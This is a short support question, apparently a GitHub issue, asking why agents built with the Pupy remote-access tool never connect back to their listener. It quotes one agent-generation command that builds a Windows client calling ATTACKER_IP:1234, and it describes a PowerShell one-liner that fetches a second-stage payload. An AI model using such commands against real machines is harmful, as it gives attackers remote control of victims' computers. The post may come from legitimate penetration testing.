Agents Don't connect back

[lawiet47]

After installing the containers and running the pupy image I tried to generate a simple agent which was supposed to connect back to the server on port 1234 by using gen -f client -O windows -A x64 connect --host ATTACKER_IP:1234 -t ec4. There's already a listener exists and is listening on port 1234. However when I run the agent on the victim machine no network traffic is even initiated?

I also tried to generate a ps1_oneliner agent which successfully retrieved the 2nd stage payload from the pupy docker webserver running on port 9000 but the retrieved payload didn't check in to the server.

What could be the problem?